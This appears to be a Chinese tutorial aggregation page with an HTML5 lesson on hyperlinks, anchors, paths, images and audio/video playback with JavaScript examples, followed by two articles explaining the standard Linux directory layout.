精华内容
下载资源
问答
  • 超链接除了可链接文本外,也可链接各种媒体,如声音、图像和动画等,通过它们可以将网站建设丰富多彩的多媒体世界。 在HTML文件中,超级链接标记使用<a>…</a>标签组来实现,语法结构及相关说明...

    HTML5超级链接、图片与多媒体

     

    网页超级链接

    超级链接(hyperlink)也简称为链接(link),是网站的重要组成部分,HTML正是因为有了超级链接才显得与众不同。超级链接使得浏览者可以在众多网页之间跳转和返回。可以使用<a>标签的name 或 id 属性,创建一个文档内部的书签,也就是说,可以创建指向文档片段的链接。超链接的目标对象类型有很多,不但可以链接到各种类型(如图片文件、声音文件、视频文件、word等)的文件,还可以链接到网页内的特定内容、其他网站、ftp服务器等,通过它们可以将网站建设成一个丰富多彩的多媒体世界。

    在HTML文件中,超级链接使用<a>…</a>标签(标签也称为标记、元素)组来实现,语法结构及相关说明如下所示。

    基本语法格式:

    <a href="url" target="窗口名称" title="超级链接文字说明">链接内容</a>

    说明

    (1)<a>标签是双标签,链接的内容放在<a>和</a>之间。链接内容可以是文字、图片、音频或视频文件等。

    (2)href属性是<a>标记的必要属性,不可缺省,用于设置链接所指向的目标地址,目标地址通过href属性的值“url”来表示。

    (3)url:资源地址,指的是链接所指向的文件的地址,其取值可以是本地地址或远程地址。

    (4)target属性用于指定打开链接时的目标窗口,默认值是在原窗口中打开。其属性值及代表含义如下表所示:

    含义

    _self

    在当前窗口中打开目标文件,默认值

    _blank

    在新窗口中打开目标文件

    _top

    在整个浏览器窗口打开链接(忽略任何框架)

    _parent

    在当前窗口的上一级窗口打开,一般在框架中使用

    (5)title属性对超级链接起到提示或说明作用。浏览器打开网页后,当鼠标悬停在链接上方时会出现提示性文字,文字内容由title属性值指定,往往用来提示该链接指向的内容是什么。

     

    例、

    <!DOCTYPE html>
    <html>
        <head>
          <meta charset="utf-8">
          <title>网站链接测试</title>
       </head>
       <body>
         <h3><center>中文门户网站</center></h3>
         <a href="https://www.ifeng.com" target="_self" title="打开凤凰网">凤凰</a> <br/>
         <a href="https://www.huanqiu.com/" target="_self" title="打开环球网">环球网</a>
      </body>
    </html>
    

    由于指定了target="_self",所以每一个网站被打开时都是在原窗口中打开,同时原窗口中之前的网页数据将会从内存中卸载,被目标网页所取代。

    保存为文件名LinkDemoA.html,用浏览器打开显示如下:

     

    使用<a>标签的name 或 id 属性,可以创建一个文档内部的书签——创建指向文档片段的链接——锚链接。

    下面是创建指向文档片段的链接(锚链接)的例子,源码如下:

    <!doctype html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>指向文档片段的链接(锚链接)的例子</title>
    </head>
    <body >
    <h1>文学鉴赏</h1>
    <h3><a href="#第一篇" >春江花月夜</a> <h3>
    <h3><a href="#第二篇" >再别康桥</a> <h3>
    <hr>
    <h3><a name="第一篇" >春江花月夜</a></h3><br>
    ——张若虚 〔唐代〕<br>
    春江潮水连海平,海上明月共潮生。<br>
    滟滟随波千万里,何处春江无月明!<br>
    江流宛转绕芳甸,月照花林皆似霰。<br>
    空里流霜不觉飞,汀上白沙看不见。<br>
    江天一色无纤尘,皎皎空中孤月轮。<br>
    江畔何人初见月?江月何年初照人?<br>
    人生代代无穷已,江月年年望相似。(望相似 一作:只相似)<br>
    不知江月待何人,但见长江送流水。<br>
    白云一片去悠悠,青枫浦上不胜愁。<br>
    谁家今夜扁舟子?何处相思明月楼?<br>
    可怜楼上月徘徊,应照离人妆镜台。(徘徊 一作:裴回)<br>
    玉户帘中卷不去,捣衣砧上拂还来。<br>
    此时相望不相闻,愿逐月华流照君。<br>
    鸿雁长飞光不度,鱼龙潜跃水成文。<br>
    昨夜闲潭梦落花,可怜春半不还家。<br>
    江水流春去欲尽,江潭落月复西斜。<br>
    斜月沉沉藏海雾,碣石潇湘无限路。<br>
    不知乘月几人归,落月摇情满江树。(落月 一作:落花)
    <br><br>
    【简说】全诗共三十六句,每四句一换韵,通篇融诗情、画意、哲理为一体。全诗紧扣春、江、花、月、夜的背景来写,而又以月为主体。“月”是诗中情景兼融之物,它跳动着诗人的脉搏,在全诗中犹如一条生命纽带,通贯上下,触处生神,诗情随着月轮的生落而起伏曲折。<br>
    在句式上,大量使用排比句、对偶句和流水对,起承转合皆妙,文章气韵无穷。诗中春、江、花、月、夜、人几个主题词错落重叠,伸缩变化,把读者引进了一个目眩五彩、浑然忘我的境界。
    <br><br>
    <h3><a name="第二篇" >再别康桥</a></h3><br>
    ——徐志摩<br>
    轻轻的我走了,正如我轻轻的来; <br>
    我轻轻的招手,作别西天的云彩。 <br>
    那河畔的金柳,是夕阳中的新娘; <br>
    波光里的艳影,在我的心头荡漾。 <br>
    软泥上的青荇,油油的在水底招摇; <br>
    在康河的柔波里,我甘心做一条水草! <br>
    那榆荫下的一潭,不是清泉,是天上虹; <br>
    揉碎在浮藻间,沉淀着彩虹似的梦。 <br>
    寻梦?撑一支长篙,向青草更青处漫溯; <br>
    满载一船星辉,在星辉斑斓里放歌。 <br>
    但我不能放歌,悄悄是别离的笙箫; <br>
    夏虫也为我沉默,沉默是今晚的康桥! <br>
    悄悄的我走了,正如我悄悄的来; <br>
    我挥一挥衣袖,不带走一片云彩。 <br>
    【简说】“诗中有画,画中有诗”。全诗共七节,每节四行,每行两到三个节拍,节奏非常鲜明;每节二四行押韵,而目每节都自然换韵,读来抑场顿挫,朗朗上口;整齐中富于变化,使全诗充满了错落有致的美感!诗的每一节都可以称得上是一幅述人的图画<br><br>
    </body>
    </html>

    保存文件名为LinkDemoB.html,用浏览器打开显示如下:

     

    Windows中的目录(也称为文件夹)

    一个典型的文件系统可以达到有组织的存储文件的目的。一个“目录”或“文件夹”就是一个装有数字文件系统的虚拟“容器”。在它里面保存着多个文件和其它一些目录(文件夹)。在一个目录(文件夹)中的另一个目录(文件夹)被称作它的子目录(子文件夹)。类似如下图:

    Windows中的路径

     

    用户在磁盘上寻找文件时,所历经的文件夹线路叫路径。路径分为绝对路径和相对路径。

    绝对路径:是从盘符开始的路径,形如d:\AA\BB\my.html

    相对路径:是从当前目录(即用户正在使用的目录)开始的路径,如当前目录为C:\AA

    要描述上述路径,只需输入BB\my.html。

    实际上,严格的相对路径写法应为.\BB\my.html其中,.(点)表示当前路径,在通常情况下可以省略,只有在特殊的情况下不能省略。

    . 表示当前目录

    .. 表示当前目录的上一级目录。

     

    与Windows中的路径类似,HTML中也有两种形式的路径,绝对路径和相对路径,不同的路径用在不同的链接中。如果要链接站外的文件,则需要使用绝对路径;如果要链接站内的文件,一般在实现超级链接功能时,必须要指定href属性的值,也就是目标文件的路径。网站中(或站外)每一个文件都有一个独一无二的地址,称之为URL(Uniform Resource Locator),即统一资源定位符,通过URL建立当前文件到目标文件的链接。

    1.绝对路径

    绝对路径是指目标文件的完整路径,路径中需包含完整的传输协议名称、主机名称、目录名称以及文件名称,一般用于对站外的文件的链接。常见的绝对路径形式如下所示。

    <a href="http://www.imut.edu.cn/ies/index.html">内容</a>

    注意:如果对站内的文件做链接,一般不使用绝对路径,这样做有很大弊端,当网站发生移植时(比如站点文件夹从D盘移植到E盘),访问该链接时就会出错。因此,在设置超级链接路径时,只要当链接的目标文件在站外时,才可以使用绝对路径;当目标文件在站内时,不要使用绝对路径描述超级链接。

    2.相对路径

    相对路径是指从当前文件为起点到目标文件的路径,相对路径中省略掉了当前文件和目标文件的共同路径部分。

     

    在HTML中,超级链接分为内部链接、外部链接和书签链接(也称锚点链接)三种。

    1.内部链接

    内部链接是指当前文件与目标文件都在同一网站内,在建立超级链接时要使用相对路径。

    (1)如果当前文件(例如source.html)与目标文件(例如targ.html)在同一个目录下,设置超级链接时按照如下格式进行:

         <a href="targ.html" target=" ">内容</a>

    (2)如果当前文件(例如source.html)要链接到站点下一级目录中的目标文件(例如targ.html),设置超级链接时按照如下格式进行:

         <a href="目录名/targ.html" target=" ">内容</a>

    (3)如果当前文件(例如source.html)要链接到站点中上一级目录中的目标文件(例如targ.html),设置超级链接时按照如下格式进行:

         <a href="../targ.html" target=" ">内容</a>

     

    2.外部链接

    外部链接是指由网站内的文件链接到站外的目标文件,这种链接一般都采用绝对路径,常用的外部链接格式有:

    (1)<a href=" http://www.sohu.com">内容</a>

    (2)<a href="http://www.imut.edu.cn/ies/index.html">内容</a>

    (3)<a href="ftp://219.225.31.201 ">内容</a>

    (4)<a href="mailto://abc@xx.com">内容</a>

    其中,(3)用来链接外部的文件服务器;(4)用来实现E-mail链接。

     

    3.书签链接

    书签链接可以理解为点到点的链接,可以实现从同一个文件的某个点到另一个目标点,也可以实现从一个文件的某个点到另一个文件的目标点,这个目标点叫做书签(也称为锚点),因此书签链接也叫做锚点链接。

    书签链接基本语法

    书签链接是从文件中的某个点到书签的链接,设置步骤分为两步:

    第一步:建立书签。

        <a name="书签名称">内容</a>

    第二步:为书签制作链接。

    <a href="#书签名称"  target=" ">内容</a>

    语法说明

    name属性用来指定书签名,该书签名会在书签链接处进行引用,引用时需在书签名前面加“#”。

    注意:如果要在不同页面间建立书签链接,则书签链接的链接应设置为:

    <a href="URL地址#书签名称"  target=" ">内容</a>

     

    图片超级链接

    基本语法

    <a href="目标文件地址" target="窗口名称"><img src="图像地址"></a>

    说明

    (1)href属性用来指定超级链接目标文件的URL。

    (2)src属性用来指定图像URL。

    (3)<img>标签要嵌套在<a>标签内部,图片的大小可以通过CSS来设置。

     

    完整示例代码如下:

     <!DOCTYPE html>
      <html >
         <head>
            <meta charset="utf-8">
            <title>图像链接</title>
         </head>
         <body>
              <h3><center>图像链接<center></h3>
              <hr color="#666666">
              <a href="https://www.baidu.com/">
              <img src="test1.png" alt="百度一下" width="50" height="50"></a>
         </body>
      </html>

    保存为文件名DemoA.html(在此,我将该网页文件和test1.png图片文件放在目录中D:\网页练习,你可根据你的实际情况而定),用浏览器打开显示如下:

    点击其中的图标,将打开百度一下链接。

     

    文件超级链接

    灵活使超级链接可以实现文件下载

    下载是指将网站所在的服务器上的文件复制到本地机器上来。在HTML超级链接中,如果链接的目标文件是浏览器解释不了的文件(如word文档、excel文档、zip文档等),那么该目标文件不会被打开显示,而是变成文件下载。

    例如:

    <a href="通知.docx">最新通知</a>

    上述链接其实就是一个普通的内部链接,只不过链接的文件是.docx类型的word文件,浏览器打不开该文件所以单击该链接时启动下载对话框。

    完整示例代码如下:

     <!DOCTYPE html>
    <html >
         <head>
            <meta charset="utf-8">
            <title>通知下载</title>
         </head>
         <body>
              <h3><center>通知链接<center></h3>
              <hr color="#666666">
             <a href="通知.docx">最新通知</a>
         </body>
      </html>
    

    保存为文件名DemoB.html(在此,我将该网页文件和“通知.docx”文件放在目录中D:\网页练习,你可根据你的实际情况而定),用浏览器打开显示如下:

    点击其中的“最新通知”链接,将下载“通知.docx”文件。

     

    网页图片

    常见图片格式简介

    ☆PNG(Portable Network Graphic Format):即可移植的网络图像文件格式。是Web图像中最通用的格式。采用无损压缩技术。PNG格式最多可以支持32位颜色,不支持动画图。

    ☆JPEG(Joint Photo Graphic Experts Group): 联合图片专家组格式,最大可支持32位彩色。采用有损图片压缩技术。有两种文件扩展名:“.jpg”和“.jpeg” 。

    ☆GIF(Graphics Interchange Format):即图片交换格式,最高支持8位彩色,分为GIF87a和GIF89a两种类型,其中GIF89a支持“透明”、“交错”、“动画”三个特性。

    ☆BMP(Windows Bitmap):即位图文件格式。BMP格式使用的是索引色彩,可以使用16M色彩渲染图像。此格式一般用在多媒体演示和视频输出等情况下。

     

    在HTML网页中可使用<img>标记插入图片。基本语法格式:

    <img src="图片地址">

    说明

    <img>标签是单个标记,作用是在网页中插入图片。

    图片样式由img标记的属性决定。

    src和alt是必选属性,其它属性为可选属性

    img标记属性名、值及说明

    属性

    说明

    alt

    text

    规定图片的替代文本

    src

    URL

    规定显示图片的URL

    name

    text

    规定图片的名称

    height

    pixels, %

    定义图片的高度

    width

    pixels, %

    设置图片的宽度

    align

    top | middle | bottom | left | center | right

    设置文本中的图片的对齐方式

    border

    pixels

    定义图片周围的边框

    hspace

    pixels

    定义图片左侧和右侧的空白

    vspace

    pixels

    定义图片顶部和底部的空白

    usemap

    URL

    将图片定义为客户端图片影视

     

    当图片无法正确显示,可以使用<img>标记的alt属性设置图片的替代文本。

    基本语法

    <img src="图片地址"alt="替代图片的文本">

    说明

    alt属性的替代文本可以是中文的,也可以是英文的。

     

    img标记的width和height属性是用来设置图片的宽度和高度的。默认情况下,网页中的图片大小就是由图片原来的宽度和高度决定的。

    基本语法

    <img src="图片地址" width="value" height="value">

    说明

    图片宽度和高度值可以是像素,也可以是百分比

    可以只设置宽度和高度中的其中之一,另一个属性将按原图片宽高等比例显示。

     

    img标记的border属性可以为图片设置边框。

    基本语法

    < img src="图片地址"border="value">

    说明

    value为边框线的宽度,用数字表示,单位为像素

    边框的颜色不可以调整的。

     

    、预先准备一张名为test1.png图片,网页代码如下:

    <!DOCTYPE html>
    <head>
        <meta charset="UTF-8">
        <title>图片测试1</title>
     </head>
     <body>
            <img src="test1.png" style="width: 400px;height: 300px">
    </body>
     </html>
    

    保存为文件名ImgDemoA.html(在此,我将该网页文件和test1.png图片文件放在目录中D:\网页练习,你可根据你的实际情况而定),用浏览器打开显示如下:

     

    网页多媒体

    音频、视频文件的使用的标签(标签也称为标记、元素):

    audio:HTML5提供的标签作用是播放音频。

    video:HTML5提供的标签作用是播放视频。

    <audio> 标签属性:
    src:音乐的URL
    preload:预加载
    autoplay:自动播放
    loop:循环播放
    controls:浏览器自带的控制条

    <audio id=”media” src=”http://www.abc.com/test.mp3″ controls></audio>  

    <video> 标签属性:
    src:视频的URL
    poster:视频封面,没有播放时显示的图片
    preload:预加载
    autoplay:自动播放
    loop:循环播放
    controls:浏览器自带的控制条
    width:视频宽度
    height:视频高度

    <video id=”media” src=”http://www.abc.com/test.mp4″ controls width=”400px” heigt=”400px”></video> 

    vedio和audio的使用技巧基本相同,在此主要以vedio来示例。

     

    【常用的音频、视频文件格式

    在HTML5中嵌入的音频格式主要包括ogg、mp3、wav等,具体介绍如下:

    ogg:当ogg文件只封装音频编码时,它就会变成为一个音频文件。ogg音频文件扩展名为ogg。ogg音频格式类似于mp3音频格式,不同的是,ogg格式完全免费并且没有专利限制。同等条件下,ogg格式音频文件的音质、体积大小优于mp3音频格式。

    mp3:目前主流的音频格式,其音频文件扩展名为mp3。同mpeg4视频格式一样,mp3音频格式也存在专利、版权等诸多的限制,但因为各大硬件提供商的支持使得mp3依靠其丰富的资源、良好的兼容性仍旧保持较高的使用率。

    wav:微软公司( Microsoft)开发的一种声音文件格式,其扩展名为wav。作为无损压缩的音频格式,wav的音质是三种音频格式文件中最好的,但其体积也是最大的。wav音频格式最大的优势是被 Windows平台及其应用程序广泛支持,是标准的Windows文件。

    在HTML5中嵌入的视频格式主要包括ogg、mpeg4、wehm等,具体介绍如下:

    ogg:一种开源的视频封装容器,其视频文件扩展名为ogg,里面可以封装vobris音频编码或者 theora视频编码,同时ogg文件也能将音频编码和视频编码进行混合封装。

    mpeg4:目前最流行的视频格式,其视频文件扩展名为mp4。同等条件下,mpeg4格式的视频质量较好,但它的专利被MPEG-LA公司控制,任何支持播放mpeg4视频的设备,都必须有一张MPEG-LA颁发的许可证。目前MPEG-LA规定,只要是互联网上免费播放的视频,均可以无偿获得使用许可证。

    Webm:由Google发布的一个开放、免费的媒体文件格式,其视频文件扩展名为webm。由于webm格式的视频质量和mpeg4较为接近,并且没有专利限制等问题,webm已经被越来越多的人所使用。】

     

    例、预先准备一个视频文件movie.mp4,网页文件代码如下:

    <!DOCTYPE html>
    <html >
         <head>
            <meta charset="utf-8">
            <title>视频测试</title>
         </head>
         <body>
              <h3><center>视频播放测试<center></h3>
              <hr color="#666666">
              <video width="320" height="240" controls autoplay>
                     <source src="movie.mp4" type="video/mp4">
              </video>
         </body>
      </html>
    

    保存为文件名DemoD.html(在此,我将该网页文件和视频文件movie.mp4放在目录中D:\网页练习,你可根据你的实际情况而定),用浏览器打开显示如下:

     

    下面介绍使用脚本 JavaScript 控制媒体

    HTML5为我们提供了3种比较常用的方法

    方法

    描述

    media.paly()

    媒体文件播放

    media.pause()

    暂停

    media.load()

    重新加载媒体文件

     

    多媒体常用事件

    video 元素的一些常用事件

      - progress:用于更新媒体的下载进度,会周期性触发。

      - canplaythrough:当整个媒体顺利播放时会触发的事件。

      - canplay:不考虑整体状态,只要下载了一定的可放帧就会触发的事件。

      - ended:媒体到达末尾时触发。

      - pause:媒体暂停时触发。

      - play:媒体开始播放时触发。

           - error:媒体播放出现错误时触发。

     

    在利用video元素或audio元素读取或播放媒体数据时,会触发一系列的事件。如果使用javascript脚本捕获事件,就可以对这些事件处理,常常需要利用 addEventListener 方法,其格式为:

    VideoElement.addEventListener(type,listener,useCaptrue)

    其中,VideoElement表示页面的video或audio元素;type表示事件名称,listener表示绑定的函数,useCaptrue是一个布尔值,表示事件的响应顺序,该值如果是true,浏览器采用captrue响应方式,如果为false,浏览器采用budding响应方式,默认情况为false。

     

    使用脚本 JavaScript 控制 audio的例子,预先准备一个视频文件movie.mp4,网页文件代码如下:

    ​<!DOCTYPE html>
    <html >
         <head>
            <meta charset="utf-8"> 
            <title>视频测试</title>
         </head>
         <body>
              <h3><center>视频播放测试<center></h3>
              <hr color="#666666">
             <div style="text-align:center"> 
                  <video id="video1" width="420">
                      <source src="movie.mp4" type="video/mp4">
                  </video>
                  <br> 
                  <button onclick="playPause()">播放/暂停</button> 
                  <button onclick="makeBig()">放大</button>
                  <button onclick="makeSmall()">缩小</button>
                  <button onclick="makeNormal()">普通</button>
                  <br>
             </div> 
              <script> 
              var myVideo=document.getElementById("video1"); 
              function playPause()
              { 
    	          if (myVideo.paused) 
    	              myVideo.play(); 
    	          else 
    	              myVideo.pause(); 
              } 
    
              function makeBig()
              { 
    	          myVideo.width=560; 
              } 
    
              function makeSmall()
              { 
    	          myVideo.width=320; 
              } 
    
              function makeNormal()
              { 
    	          myVideo.width=420; 
              } 
              </script>
         </body>
      </html>
    
    ​

    保存为文件名DemoE.html(在此,我将该网页文件和视频文件movie.mp4放在目录中D:\网页练习,你可根据你的实际情况而定),用浏览器打开显示如下:

     

    最后,介绍如何用打开窗口播放本地的媒体文件

    首先提示,处于安全的需要JavaScript不能直接用打开窗口访问本地资源文件,那怎么办呢?下面介绍一种方法。在页面中插入一个input节点并指定type为file,如果需要播放多个文件,可以添加属性multiple。注册文件节点被更新时的回调函数,在回调函数中调用URL.createObjectURL函数来获取刚选择文件的url,然后把该url设置为audio或video的src值即可。

    下面给出网页用打开窗口播放本地视频文件的示例,源码如下:

    <!DOCTYPE html>
    <html >
    <head>
           <meta charset="utf-8"> 
           <title>播放本地的视频文件</title>
    </head>
    <body>
    <h3><center>视频播放测试<center></h3>
    <hr color="#666666">
    <input type="file" id="file" onchange="onInputFileChange()">
    <br/>
    <video id="video_id"  width="320" height="240" controls autoplay loop>你的浏览器不能支持HTML5视频</video>
    <script>
    function onInputFileChange() {
          var file = document.getElementById('file').files[0];
          var url = URL.createObjectURL(file);
          console.log(url);
          document.getElementById("video_id").src = url;
    }
    </script>
    </body>
    </html>

    保存为文件名DemoF.html(在此,我将该网页文件放在目录中D:\网页练习,你可根据你的实际情况而定),用浏览器打开显示如下:

     

     

    上面对网页多媒体介绍是以视频为例介绍,下面给出播放音频文件的示例——一个网页用打开窗口播放本地音频文件的示例,源码如下:

    <!DOCTYPE html>
    <html >
    <head>
           <meta charset="utf-8"> 
           <title>播放本地的音频文件</title>
    </head>
    <body>
    <h3><center>本地的音频播放测试<center></h3>
    <hr color="#666666">
    <input type="file" id="file" onchange="onInputFileChange()">
    <br/>
    <audio id="audio_id"  controls autoplay loop>你的浏览器不能支持HTML5音频 </audio>
    <script>
    function onInputFileChange() {
          var file = document.getElementById('file').files[0];
          var url = URL.createObjectURL(file);
          console.log(url);
          document.getElementById("audio_id").src = url;
    }
    </script>
    </body>
    </html>

    保存为文件名DemoG.html(在此,我将该网页文件放在目录中D:\网页练习,你可根据你的实际情况而定),用浏览器打开显示如下:

     

     

     

     

     

     

    展开全文
  • Linux系统下每个文件夹的作用

    千次阅读 2011-04-12 19:37:00
    Linux系统下每个文件夹的作用

    Linux下文件夹的作用

    1)         /bin:是binary的缩写,包含了引导系统启动所需的命令和普通用户可以使用的常用命令

    2)         /lib:是根文件系统目录下程序和核心模块的共享库,存放了根文件系统程序运行所需的共享文件。这些文件包含了可被许多程序共享的代码,以避免每个程序都包含相同的子程序的副本,故可以使得可执行文件变得更小,节省空间

    3)         /etc:用来存放所有的系统管理所需的配置文件和子目录,linux正是因为这些文件才能正常运行

    4)         /mnt:这个目录是空的,系统提供这个目录时让用户临时挂载别的文件系统

    5)         /boot:这里存放的是启动Linux使用的一些核心文件,引导加载器(bootstrap loader)如LILO会使用这些文件,当计算机启动时这些文件首先被加载。这个目录也会包含Linux核,但是Linux核也可以放在别处,只要配置LILO并且LILO知道Linux核在哪儿

    6)         /sbins就是super user 的意思,也用于存储二进制文件。但其中的大部分文件多是系统管理员使用的系统管理程序,所以虽然普通用户必要且允许时可以使用,但一般不给普通用户使用。

    7)         /dev:这个目录下是所有Linux的外部设备文件,其功能类似DOS下的.syswin下的.vxd,用户可以通过这些文件访问外部设备,在Linux中设备和文件是用同种方法访问的。例如:/dev/had代表第一个物理IDE硬盘

    8)         /tmp:用于存放临时文件,引导启动后运行的程序应该使用/var/tmp,而不是/tmp,因为前者可能在一个拥有更多空间的磁盘上而该目录不会被自动清理干净

    9)         /var:这个目录中存放着那些不断在扩充着的东西,为了保持/user的相对稳定,那些经常被修改的目录可以放在这个目录下,实际上许多系统管理员都是这样做的,系统的日志文件就在/var/log

    10)     /Lost+found:这个目录平时是空的,当系统不正常关机时,这里就成了一些无家可归的文件的避难所

    11)     /proc:这个目录是一个虚拟的目录,他是系统内存的映射,我们可以直接通过直接访问这个目录来获取系统信息,也就是说,这个目录的内容不再硬盘里而是在内存里。

    12)     /user:最庞大的目录,要用到的应用程序几乎都在这个目录

    l  /user/x11r6:存放x window的目录

    l  /user/bin:众多的应用程序

    l  /user/sbin:超级用户的一些管理程序

    l  /user/doclinux文档

    l  /user/includelinux下开发和编译应用程序所需要的头文件

    l  /usr/lib 常用的动态链接库和软件包的配置文件

    l  /usr/man 帮助文档

    l  /usr/src linux的开放源代码,比如linux内核的源代码就放在/usr/src/linux

    l  /usr/local/bin 本地增加的命令

    l  /usr/local/lib 本地增加的库

     本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u3/100183/showart_2039012.html

    展开全文
  • 目录,包括了在引导过程中所必需的文件,引导程序的相关文件(例如grub,lilo以及相应的配置文件以及Linux操作系统内核相关文件(例如vmlinuz等一般都存放在这里。在最开始的启动阶段,通过引导程
    以下是linux系统常见的重要目录以及各个目作用:
    

    /
    根目录。/包含了几乎所的文件目录。相当于中央系统。进入的最简单方法是:cd /。
    /boot


    引导程序,内核等存放的目录。
    这个目录,包括了在引导过程中所必需的文件,引导程序的相关文件(例如grub,lilo以及相应的配置文件以及Linux操作系统内核相关文件(例如vmlinuz等一般都存放在这里。在最开始的启动阶段,通过引导程序将内核加载到内存,完成内核的启动(这个时候,虚拟文件系统还不存在,加载的内核虽然是从硬盘读取的,但是没经过Linux的虚拟文件系统,这是比较底层的东西来实现的。然后内核自己创建好虚拟文件系统,并且从虚拟文件系统的其他子目录中(例如/sbin 和 /etc加载需要在开机启动的其他程序或者服务或者特定的动作(部分可以由用户自己在相应的目录中修改相应的文件来配制。如果我们的机器中包含多个操作系统,那么可以通过修改这个目录中的某个配置文件(例如grub.conf来调整启动的默认操作系统,系统启动的择菜单,以及启动延迟等参数。

    /sbin
    超级用户可以使用的命令的存放目录。
    存放大多涉及系统管理的命令(例如引导系统的init程序,是超级权限用户root的可执行命令存放地,普通用户无权限执行这个目录下的命令(但是时普通用户也可能会用到。这个目录和/usr/sbin; /usr/X11R6/sbin或/usr/local/sbin等目录是相似的,我们要记住,凡是目录sbin中包含的都是root权限才能执行的,这样就行了。后面会具体区分。

    /bin
    普通用户可以使用的命令的存放目录。
    系统所需要的那些命令位于此目录,比如ls、cp、mkdir等命令;类似的目录还/usr/bin,/usr/local/bin等等。这个目录中的文件都是可执行的、普通用户都可以使用的命令。作为基础系统所需要的最基础的命令就是放在这里。

    /lib
    根目录下的所程序的共享库目录。
    此目录下包含系统引导和在根用户执行命令时候所必需用到的共享库。做个不太好但是比较形象的比喻,点类似于Windows上面的system32目录。理说,这里存放的文件应该是/bin目录下程序所需要的库文件的存放地,也不排除一些例外的情况。类似的目录还/usr/lib,/usr/local/lib等等。

    /dev
    设备文件目录。
    在Linux中设备都是以文件形式出现,这里的设备可以是硬盘,键盘,鼠标,网卡,终端,等设备,通过访问这些文件可以访问到相应的设备。设备文件可以使用mknod命令来创建,具体参见相应的命令;而为了将对这些设备文件的访问转化为对设备的访问,需要向相应的设备提供设备驱动模块(一般将设备驱动编译之后,生成的结果是一个*.ko类型的二进制文件,在内核启动之后,再通过insmod等命令加载相应的设备驱动之后,我们就可以通过设备文件来访问设备了。一般来说,想要Linux系统支持某个设备,只要个东西:相应的硬件设备,支持硬件的驱动模块,以及相应的设备文件。

    /home
    普通用户的家目录$HOME目录。
    在Linux机器上,用户主目录通常直接或间接地置在此目录下。其结构通常由本地机的管理员来决定。通常而言,系统的每个用户都自己的家目录,目录以用户名作为名字存放在/home下面(例如quietheart用户,其家目录的名字为/home/quietheart。该目录中保存了绝大多数的用户文件(用户自己的配置文件,定制文件,文档,数据等),root用户除外(参见后面的/root目录。由于这个目录包含了用户实际的数据,通常系统管理员为这个目录单独挂载一个独立的磁盘分区,这样这个目录的文件系统格式就可能和其他目录不一样了(尽管表面上看,这个目录还是属于根目录的一棵子树上),有利于数据的维护。

    /root
    用户root的$HOME目录
    系统管理员(就是root用户或超级用户)的主目录比较特殊,不存放在/home中,而是直接放在/root目录下了。

    /etc
    全局的配置文件存放目录。
    系统和程序一般都可以通过修改相应的配置文件,来进行配置。例如,要配置系统开机的时候启动那些程序,配置某个程序启动的时候显示什么样的风格等等。通常这些配置文件都集中存放在/etc目录中,所以想要配置什么东西的话,可以在/etc下面寻找我们可能需要修改的文件。一些大型套件,如X11,在 /etc 下它们自己的子目录。系统配置文件可以放在这里或在 /usr/etc。 不过所程序总是在 /etc 目录下查找所需的配置文件,你也可以将这些文件链接到目录 /usr/etc。另外,还一个需要注意的常见现象就是,当某个程序在某个用户下运行的时候,可能会在该用户的家目录中生成一个配置文件(一般这个文件最开始就是/etc下相应配置文件的拷贝,存放相应于“当前用户”的配置,这样当前用户可以通过配置这个家目录的配置文件,来改变程序的行为,并且这个行为只是该用户特的。原因就是:一般来说一个程序启动,如果需要读取一些配置文件的话,它会首先读取当前用户家目录的配置文件,如果存在就使用;如果不存在它就到/etc下读取全局的配置文件进而启动程序。就是这个配置文件不自动生成,我们手动在自己的家目录中创建一个文件的话,也有许多程序会首先读取到这个家目录的文件并且以它的配置作为启动的选项(例如我们可以在家目录中创建vim程序的配置文件.vimrc,来配置自己的vim程序。

    /usr
    这个目录中包含了命令库文件和在通常操作中不会修改的文件。
    这个目录对于系统来说也是一个非常重要的目录,其地位类似Windows上面的”Program Files”目录(请原谅我可能这样做比较不太恰当^_^。安装程序的时候,默认就是安装在此文件内部某个子文件夹内。输入命令后系统默认执行/usr/bin下的程序(当然,前提是这个目录的路径已经被添加到了系统的环境变量中。此目录通常也会挂载一个独立的磁盘分区,它应保存共享只读类文件,这样它可以被运行Linux的不同主机挂载。

    /usr/lib
    目标库文件,包括动态连接库加上一些通常不是直接调用的可执行文件的存放位置。
    这个目录功能类似/lib目录,理说,这里存放的文件应该是/bin目录下程序所需要的库文件的存放地,也不排除一些例外的情况。

    /usr/bin
    一般使用者使用并且不是系统自检等所必需可执行文件的目录。
    此目录相当于根文件系统下的对应目录(/bin,非启动系统,非修复系统以及非本地安装的程序一般都放在此目录下。

    /usr/sbin
    管理员使用的非系统必须的可执行文件存放目录。
    此目录相当于根文件系统下的对应目录(/sbin,保存系统管理程序的二进制文件,并且这些文件不是系统启动或文件系统挂载 /usr 目录或修复系统所必需的。

    /usr/share
    存放共享文件的目录。
    在此目录下不同的子目录中保存了同一个操作系统在不同构架下工作时特定应用程序的共享数据(例如程序文档信息)。使用者可以找到通常放在 /usr/doc 或 /usr/lib 或 /usr/man 目录下的这些类似数据。

    /usr/include
    C程序语言编译使用的头文件。
    linux下开发和编译应用程序所需要的头文件一般都存放在这里,通过头文件来使用某些库函数。默认来说这个路径被添加到了环境变量中,这样编译开发程序的时候编译器会自动搜索这个路径,从中找到你的程序中可能包含的头文件。

    /usr/local
    安装本地程序的一般默认路径。
    当我们下载一个程序源代码,编译并且安装的时候,如果不特别指定安装的程序路径,那么默认会将程序相关的文件安装到这个目录的对应目录下。例如,安装的程序可执行文件被安装(安装实质就是复制到了/usr/local/bin下面,此程序(可执行文件所需要依赖的库文件被安装到了/usr/local/lib目录下,被安装的软件如果是某个开发库(例如Qt,Gtk等那么相应的头文件可能就被安装到了/usr/local/include中等等。也就是说,这个目录存放的内容,一般都是我们后来自己安装的软件的默认路径,如果择了这个默认路径作为软件的安装路径,被安装的软件的所文件都限制在这个目录中,其中的子目录就相应于根目录的子目录。

    /proc
    特殊文件目录。
    这个目录采用一种特殊的文件系统格式(proc格式,内核支持这种格式。其中包含了全部虚拟文件。它们并不保存在磁盘中,也不占据磁盘空间(尽管命令ls -c会显示它们的大小)。当您查看它们时,您实际上看到的是内存里的信息,这些文件助于我们了解系统内部信息。

    /opt
    可择的文件目录。
